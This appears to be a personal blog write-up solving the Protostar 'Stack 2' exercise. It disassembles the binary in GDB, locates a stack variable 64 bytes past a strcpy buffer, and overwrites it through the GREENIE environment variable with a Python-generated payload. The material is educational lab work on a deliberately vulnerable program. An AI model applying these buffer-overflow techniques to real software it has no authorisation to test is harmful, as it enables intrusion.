B2B - Protostar, Stack2 (x86)

Introduction:

B2B is a series I have forced upon myself to make sure my basics are covered when it comes to exploitation. After passing my OSCE, I took a little break from exploitation to focus on a few work aspects, but now I am hungry for more lower level nonsense.

This series will focus mainly on exploitation challenges which cover various techniques. First of which, is the stack overflow challenges within the Protostar image from “exploit education” found here. I gave myself two main rules to stick to whilst working through all these challenges.

1) Don’t read the C source code for each challenge, only the hints section if required

2) Don’t read other peoples write ups for these challenges unless I have already finished it and want to see other routes to further my interest

Stack 2

The third challenge of Protostar is “Stack 2”. I approached each challenge with a similar set of steps, so each post will likely follow a similar template(ish). Including initial running, inspecting the disassembly of the binary and some other specific steps in between before finally crafting a payload and owning the process.

Our initial use of the program identified the following:

$ ./stack2
stack2: please set the GREENIE environment variable

Unlike the other two binaries, this program appears to load a value from the environment, presumably does something with it in the background and then prints some output based on the value that was specified. In this case, the binary looks to load the value within the ‘GREENIE’ environment variable. Let’s set this and try again:

$ export GREENIE=test
$ echo $GREENIE
test
$ ./stack2
Try again, you got 0x00000000

Executing the binary again, we see that the value was loaded from the environment but didn’t satisfy a ‘win’ condition and output “Try again, you got 0x00000000”. This looks similar to the binary ‘stack1’, but let’s continue.

Let’s disassemble the binary in GDB to see what’s going on:

(gdb) disas main
Dump of assembler code for function main:
0x08048494 <main+0>:	push   ebp
0x08048495 <main+1>:	mov    ebp,esp
0x08048497 <main+3>:	and    esp,0xfffffff0
0x0804849a <main+6>:	sub    esp,0x60
0x0804849d <main+9>:	mov    DWORD PTR [esp],0x80485e0
0x080484a4 <main+16>:	call   0x804837c <getenv@plt>
0x080484a9 <main+21>:	mov    DWORD PTR [esp+0x5c],eax
0x080484ad <main+25>:	cmp    DWORD PTR [esp+0x5c],0x0
0x080484b2 <main+30>:	jne    0x80484c8 <main+52>
0x080484b4 <main+32>:	mov    DWORD PTR [esp+0x4],0x80485e8
0x080484bc <main+40>:	mov    DWORD PTR [esp],0x1
0x080484c3 <main+47>:	call   0x80483bc <errx@plt>
0x080484c8 <main+52>:	mov    DWORD PTR [esp+0x58],0x0
0x080484d0 <main+60>:	mov    eax,DWORD PTR [esp+0x5c]
0x080484d4 <main+64>:	mov    DWORD PTR [esp+0x4],eax
0x080484d8 <main+68>:	lea    eax,[esp+0x18]
0x080484dc <main+72>:	mov    DWORD PTR [esp],eax
0x080484df <main+75>:	call   0x804839c <strcpy@plt>
0x080484e4 <main+80>:	mov    eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>:	cmp    eax,0xd0a0d0a
0x080484ed <main+89>:	jne    0x80484fd <main+105>
0x080484ef <main+91>:	mov    DWORD PTR [esp],0x8048618
0x080484f6 <main+98>:	call   0x80483cc <puts@plt>
0x080484fb <main+103>:	jmp    0x8048512 <main+126>
0x080484fd <main+105>:	mov    edx,DWORD PTR [esp+0x58]
0x08048501 <main+109>:	mov    eax,0x8048641
0x08048506 <main+114>:	mov    DWORD PTR [esp+0x4],edx
0x0804850a <main+118>:	mov    DWORD PTR [esp],eax
0x0804850d <main+121>:	call   0x80483ac <printf@plt>
0x08048512 <main+126>:	leave  
0x08048513 <main+127>:	ret    
End of assembler dump.

Once again, lets break down the flow of the process to see what’s happening from a higher level view.

Now we know the first part of the binary is basically a check to see if the environment variable is set, we can narrow our efforts and break down the other section:

0x080484c8 <main+52>:	mov    DWORD PTR [esp+0x58],0x0
0x080484d0 <main+60>:	mov    eax,DWORD PTR [esp+0x5c]
0x080484d4 <main+64>:	mov    DWORD PTR [esp+0x4],eax
0x080484d8 <main+68>:	lea    eax,[esp+0x18]
0x080484dc <main+72>:	mov    DWORD PTR [esp],eax
0x080484df <main+75>:	call   0x804839c <strcpy@plt>
0x080484e4 <main+80>:	mov    eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>:	cmp    eax,0xd0a0d0a
0x080484ed <main+89>:	jne    0x80484fd <main+105>
0x080484ef <main+91>:	mov    DWORD PTR [esp],0x8048618
0x080484f6 <main+98>:	call   0x80483cc <puts@plt>
0x080484fb <main+103>:	jmp    0x8048512 <main+126>
0x080484fd <main+105>:	mov    edx,DWORD PTR [esp+0x58]
0x08048501 <main+109>:	mov    eax,0x8048641
0x08048506 <main+114>:	mov    DWORD PTR [esp+0x4],edx
0x0804850a <main+118>:	mov    DWORD PTR [esp],eax
0x0804850d <main+121>:	call   0x80483ac <printf@plt>
0x08048512 <main+126>:	leave  
0x08048513 <main+127>:	ret

A higher level breakdown of this is:

First, let’s check where our environment is loaded and stored on the stack:

(gdb) b *main+84
Breakpoint 1 at 0x80484e8: file stack2/stack2.c, line 22.

(gdb) x/30wx $esp
0xbffffc30:	0xbffffc48	0xbffffef7	0xb7fff8f8	0xb7f0186e
0xbffffc40:	0xb7fd7ff4	0xb7ec6165	0x41414141	0x42424242 <--- our environment variable
0xbffffc50:	0xb7fd7f00	0x08049748	0xbffffc68	0x08048358
0xbffffc60:	0xb7ff1040	0x08049748	0xbffffc98	0x08048549
0xbffffc70:	0xb7fd8304	0xb7fd7ff4	0x08048530	0xbffffc98
0xbffffc80:	0xb7ec6365	0xb7ff1040	0x00000000	0xbffffef7
0xbffffc90:	0x08048530	0x00000000	0xbffffd18	0xb7eadc76
0xbffffca0:	0x00000001	0xbffffd44

(gdb) x/wx $esp+0x58
0xbffffc88:	0x00000000   <--- flag that is used in comparison?

The reason I have highlighted the value above at esp+0x58, is due to a set of instructions that uses this value:

0x080484e4 <main+80>:	mov    eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>:	cmp    eax,0xd0a0d0a

Now we know which value is used during the compare, as well as our input address - we can once again find the difference between the two:

​ “0xbffffc88” - “0xbffffc48” = “0x‭40”‬ (64 again)

Let’s try this out with a simple overwrite with the value of “BBBB” to make sure our offset and assumptions are correct:

$ export GREENIE=$(python -c 'print "A"*64 + "B"*4')
$ echo $GREENIE
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Now the environment value has been set, our addresses appear to have changed. I believe the environment value is the reason for this, but anyway… in this case the addresses don’t matter it is just the offsets (which should remain the same):

(gdb) x/30wx $esp
0xbffffbf0:	0xbffffc08	0xbffffebb	0xb7fff8f8	0xb7f0186e
0xbffffc00:	0xb7fd7ff4	0xb7ec6165	0x41414141	0x41414141 <--- input starts on this row
0xbffffc10:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc20:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc30:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc40:	0x41414141	0x41414141	0x42424242	0xbffffe00  <--- 42424242 ($esp+0x58)
0xbffffc50:	0x08048530	0x00000000	0xbffffcd8	0xb7eadc76
0xbffffc60:	0x00000001	0xbffffd04

We can confirm the above offset and overwrite with the following:

(gdb) x/wx $esp+0x58
0xbffffc48:	0x42424242

So, it looks like we have gotten full control of the value used in the comparison, which decides which condition branch to take. We now just need to make sure the “BBBB” actually equals the hex value ‘0xd0a0d0a’. Remember, we need to reverse the byte order to match the endian-ness, this will result in the follow chunks: 0x0a 0x0d 0x0a 0x0d

With this knowledge, our final payload for the environment variable should be:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d

In Python, we can do this like:

$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'")

When setting this as an environment variable I was running into some weird issues:

$ export GREENIE=$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'")
: bad variable name

Still no idea what this was, but I found a work around online (thanks random users of the internet):

$ GREENIE=$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'")
$ export GREENIE

Okay, now let’s jump into GDB once again and break on the same spot (just before our ‘cmp’ instruction):

(gdb) x/30wx $esp
0xbffffbf0:	0xbffffc08	0xbffffebb	0xb7fff8f8	0xb7f0186e
0xbffffc00:	0xb7fd7ff4	0xb7ec6165	0x41414141	0x41414141
0xbffffc10:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc20:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc30:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc40:	0x41414141	0x41414141	0x0d0a0d0a	0xbffffe00
0xbffffc50:	0x08048530	0x00000000	0xbffffcd8	0xb7eadc76
0xbffffc60:	0x00000001	0xbffffd04

(gdb) x/wx $esp+0x58
0xbffffc48:	0x0d0a0d0a

Looks good, now let’s double check the disassembly:

0x080484e8 <main+84>:	cmp    eax,0xd0a0d0a

Now lets check our EAX register (as this is used in the comparison):

(gdb) x/w $eax <--- lol, works though
0xd0a0d0a:	Cannot access memory at address 0xd0a0d0a

So now we satisfy the EAX requirement, ourEIP looks like we are continuing into the ‘win’ condition without jumping over it like before:

eip            0x80484ef	0x80484ef <main+91>

If we continue our execution, we get the following:

(gdb) c
Continuing.
you have correctly modified the variable

Finally, let’s make sure this all works outside of GDB too. We don’t need to re export our environment variable but let’s do it for completion:

$ GREENIE=$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'")
$ export GREENIE
$ ./stack2
you have correctly modified the variable

Sweet, with that condition satisfied, I have completed stack2 by using an overflow from an environment variable!